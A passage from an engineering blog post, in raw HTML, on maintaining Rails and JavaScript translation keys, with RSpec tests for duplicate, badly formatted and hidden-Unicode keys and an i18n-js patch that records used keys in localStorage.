&lt;p&gt;In this example, it is near impossible to detect through &lt;code&gt;grep&lt;/code&gt; that both the keys &lt;code&gt;common.account.doctor.greetings&lt;/code&gt; and &lt;code&gt;common.account.patient.greetings&lt;/code&gt; are used. What's the solution? This:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;account&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;doctor?&lt;/span&gt;
    &lt;span class="n"&gt;i18n_key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;common.account.doctor.greetings&amp;#39;&lt;/span&gt;
&lt;span class="k"&gt;else&lt;/span&gt;
    &lt;span class="n"&gt;i18n_key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;common.account.patient.greetings&amp;#39;&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;

&lt;span class="no"&gt;I18n&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i18n_key&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;To this day, we have not found a way (yet) to prevent string interpolation in i18n keys, but we're working on it. We've however communicated internally largely about it.&lt;/p&gt;
&lt;h1 id="the-same-locale-in-your-test-server-as-in-your-web-server-you-shall-set"&gt;The same locale in your test server as in your web server you shall set&lt;/h1&gt;
&lt;p&gt;When running integration tests with Ruby on Rails, &lt;a href="https://rspec.info/"&gt;RSpec&lt;/a&gt; and &lt;a href="https://github.com/teamcapybara/capybara"&gt;Capybara&lt;/a&gt;, there are actually two different servers being launched with every test. One is the test server, the one that executes assertions, pilots the browser, opens tabs, etc. And there's the web server, the one that responds to HTTP queries and renders your website.&lt;/p&gt;
&lt;p&gt;We've found that both servers do not necessarily answer the same to &lt;code&gt;I18n.locale&lt;/code&gt;. For instance, when writing tests for features only available in one country, we'd change the Top-Level Domain (TLD) to .fr, .de. or .it. This would, in turn, change the locale used in our web server through some business logic in our &lt;code&gt;ApplicationController.rb&lt;/code&gt;. But the test server would remain in English, regardless of the TLD.&lt;/p&gt;
&lt;p&gt;Consequently, trying &lt;code&gt;assert_text I18n.t("some.key")&lt;/code&gt; in a test of the French website would be looking for the English translation of &lt;code&gt;some.key&lt;/code&gt;, while only the French translation was to be found. Through some fine tuning of our subclasses of &lt;code&gt;ActiveSupport::TestCase&lt;/code&gt;, we have managed to sync the locale of both servers.&lt;/p&gt;
&lt;h1 id="preventing-the-creation-of-duplicate-keys-as-the-ruby-yaml-parser-silently-ignores-them-and-use-the-latest-defined-key"&gt;Preventing the creation of duplicate keys as the Ruby YAML parser silently ignores them and use the latest defined key&lt;/h1&gt;
&lt;p&gt;Say you have a &lt;code&gt;en.yml&lt;/code&gt; file as follows:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;en&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;greetings&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;hello&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;Hello&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;bye&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;Good bye&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;good_evening&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;Good evening&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;bye&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;Bye&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;What does &lt;code&gt;I18n.t("greetings.bye")&lt;/code&gt; returns? Yep, &lt;code&gt;"Bye"&lt;/code&gt;. Why? Because the Ruby YAML parser used under the hood silently overwrites any already defined key.&lt;/p&gt;
&lt;p&gt;We added a test that is greatly inspired &lt;a href="https://stackoverflow.com/a/55705853/2105309"&gt;by this StackOverlow answer,&lt;/a&gt; to make sure we do not have duplicated i18n keys. The risk was, we could be breaking an untested feature by unknowingly overwriting an existing translation.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;it&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;makes sure we have no duplicated key&amp;#39;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
    &lt;span class="n"&gt;yaml_file&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;File&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;config/locales/en.yml&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;assert_empty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="no"&gt;PhraseHelper&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;duplicate_keys&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;yaml_file&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h1 id="enforcing-a-simple-format-for-keys"&gt;Enforcing a simple format for keys&lt;/h1&gt;
&lt;p&gt;Although many characters are permitted for keys (only the dot is not, as it marks levels in the hierarchy), we found it much easier to only deal with keys using only basic characters, such as the regular ASCII letters, upper or lower case, digits, hyphens and underscores. Why is that? First of all, because it's more readable, and second of all because it makes grepping through the codebase with regular expressions a lot easier.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;it&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;enforces a simple format for keys&amp;#39;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
    &lt;span class="n"&gt;wrongly_formatted_keys&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
        &lt;span class="no"&gt;PhraseHelper&lt;/span&gt;
            &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;phrase_keys&lt;/span&gt;
            &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;grep_v&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;%r{^[A-Za-z0-9_-]+(\.[A-Za-z0-9_-]+)*$}&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;grep_v&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;/^i18n\.transliterate\.rule\.[ÄäéöÖßüÜ€]$/&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# These keys are special on purpose, exclude them&lt;/span&gt;

    &lt;span class="n"&gt;assert_empty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="n"&gt;wrongly_formatted_keys&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s1"&gt;&amp;#39;Please keep translation keys as simple as possible: &amp;#39;&lt;/span&gt; &lt;span class="p"&gt;\&lt;/span&gt;
        &lt;span class="s1"&gt;&amp;#39;digits, lowercase letters, hyphens and underscores only&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h1 id="preventing-the-insertion-of-hidden-characters-whose-behavior-might-be-unexpected"&gt;Preventing the insertion of hidden characters whose behavior might be unexpected&lt;/h1&gt;
&lt;p&gt;Have you ever seen this warning message on GitHub?&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/keys-to-efficient-i18n/github-warning.png" alt="A warning message on GitHub" /&gt;
&lt;figcaption&gt;GitHub warning you about bidirectional Unicode text&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Well, we have. And many times. This happens when people using the Phrase Editor, would mistakenly type special characters on their keyboard while trying to simply type letters with accents.&lt;/p&gt;
&lt;p&gt;To prevent this from happening again and again, we've added a test. This way, whenever we pull the latest translations from Phrase and open a Pull Request to merge them, we can know right away if something is wrong with any translation.&lt;/p&gt;
&lt;p&gt;Here, a screenshot of the test. It's a screenshot as one would not be able to see the hidden Unicode characters otherwise.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/keys-to-efficient-i18n/test-screenshot.png" alt="A screenshot of a Ruby test" /&gt;
&lt;figcaption&gt;A test making sure our translation files do not contain special hidden Unicode characters&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;h1 id="avoid-duplicate-translations-at-the-same-node-level"&gt;Avoid duplicate translations at the same node level&lt;/h1&gt;
&lt;p&gt;Why create a new translation when one can reuse an existing one? Especially if the translation is a sibling (i.e at the same node level in the YAML file) of the one you're trying to add. Well again, we've added a test so that we avoid duplicating existing English translations. Because we've found that, since the translations YAML files tend to be very big, it is easy to overlook and miss a translation you're looking for, think it does not exist, and add it again.&lt;/p&gt;
&lt;h1 id="ensuring-the-file-is-correctly-formatted-at-all-times"&gt;Ensuring the file is correctly formatted at all times&lt;/h1&gt;
&lt;p&gt;Because throughout our journey of switching to English as a default locale, we've had to edit our &lt;code&gt;en.yml&lt;/code&gt; file many times, we've found that enforcing the formatting makes &lt;code&gt;git diff&lt;/code&gt;s easier to review. It's like when one starts using &lt;a href="https://prettier.io/"&gt;Prettier&lt;/a&gt; and stops caring about how to format their JavaScript code. All of a sudden, single quotes, double quotes, escaping characters, where to break a line, etc, are no longer problems.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;it&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;makes sure en.yml is correctly formatted&amp;#39;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
    &lt;span class="n"&gt;file&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;config/locales/en.yml&amp;#39;&lt;/span&gt;
    &lt;span class="n"&gt;yaml&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;YAML&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;load_file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;formatted_yaml&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;yaml&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;to_yaml&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ss"&gt;indentation&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;assert_equal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;formatted_yaml&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;File&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;~&lt;/span&gt;&lt;span class="dl"&gt;MESSAGE&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;chomp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="sh"&gt;    The #{file} file is not correctly formatted.&lt;/span&gt;
&lt;span class="sh"&gt;    Please put a binding.pry at the end of this test, run it, and launch:&lt;/span&gt;
&lt;span class="sh"&gt;        File.write(&amp;#39;#{file}&amp;#39;, formatted_yaml)&lt;/span&gt;
&lt;span class="dl"&gt;MESSAGE&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h1 id="finding-unused-keys-and-removing-them"&gt;Finding unused keys and removing them&lt;/h1&gt;
&lt;p&gt;That's the trickiest part. And unfortunately, we don't have a universal answer to that problem. But before finding which keys are not used, how do we even find the ones actually used?&lt;/p&gt;
&lt;p&gt;As we've seen before, string interpolation makes it impossible to statically find all used keys. We need to come up with something dynamic.&lt;/p&gt;
&lt;p&gt;Logging that a given i18n key is used at runtime is fairly simple, code-wise. "All we have to do" is monkey patch the Ruby gem or the JavaScript package so that we log or store somewhere which keys are being used. For instance, this is most of our JavaScript monkey patch:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;i18n&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;i18n-js&amp;#39;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;addTranslationKey&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;options&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;actualKey&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;options&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;scope&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;actualKey&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;options&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;scope&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;.&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;actualKey&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;set&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;_usedI18nKeys&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;localStorage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getItem&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;i18n-keys&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;{}&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;_usedI18nKeys&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;set&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;set&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;actualKey&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;set&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;actualKey&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;localStorage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;setItem&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;i18n-keys&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;set&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="nx"&gt;i18n&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;i18n&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;t&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="nx"&gt;i18n&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;t&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;options&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;translation&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;_t&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;options&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;translation&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;defaultOptionWasUsed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;options&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;defaults&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;options&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nx"&gt;defaults&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nx"&gt;message&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;translation&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// Do not track if we used a default&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;defaultOptionWasUsed&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;addTranslationKey&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;options&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;translation&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Regarding our Ruby monkey patch, we've come up with something similar, except that we store the used keys in Redis.&lt;/p&gt;
&lt;p&gt;Now that we know how to track the used keys, when do we track them? Two options present themselves:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;We keep a record of the ones used in production&lt;/li&gt;
&lt;li&gt;We keep a record of the ones used in tests (on the CI pipeline for instance)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The second option has the disadvantage of not being a 100% reliable. First, because we don't necessarily have a test for each and every feature of Doctolib, and second because even though we might, not all possible usage scenario for a given feature are tested, therefore we can't be sure that all the i18n keys would actually be used even once.&lt;/p&gt;
&lt;p&gt;The first option has the disadvantage of using our users' local storage at their expense and using our production Redis instance for something else that a feature. And likewise, we can't be 100% sure all of our features are even used at all. Also, the keys used today might not be the same ones as tomorrow, because we constantly merge pull requests and rollout new code to production.&lt;/p&gt;
&lt;p&gt;Therefore, the idea of capturing a "snapshot" of the keys used at one point in time, without interfering with the production website, sounded like our best bet.&lt;/p&gt;
&lt;p&gt;We're now capable of doing that snapshot and computing a diff between our existing keys and the ones used, yet we still have to find a way of making sure we're not deleting keys that could still be used in production, but that are simply not part of a tested feature.&lt;/p&gt;
&lt;h1 id="removing-translations-as-the-source-language-keys-are-removed"&gt;Removing translations as the source language keys are removed&lt;/h1&gt;
&lt;p&gt;Finally, the last thing we had to deal with was, how do we remove from Phrase (and therefore the other YAML files) the i18n keys that we occasionally remove from &lt;code&gt;en.yml&lt;/code&gt;, for instance when we delete a feature?&lt;/p&gt;
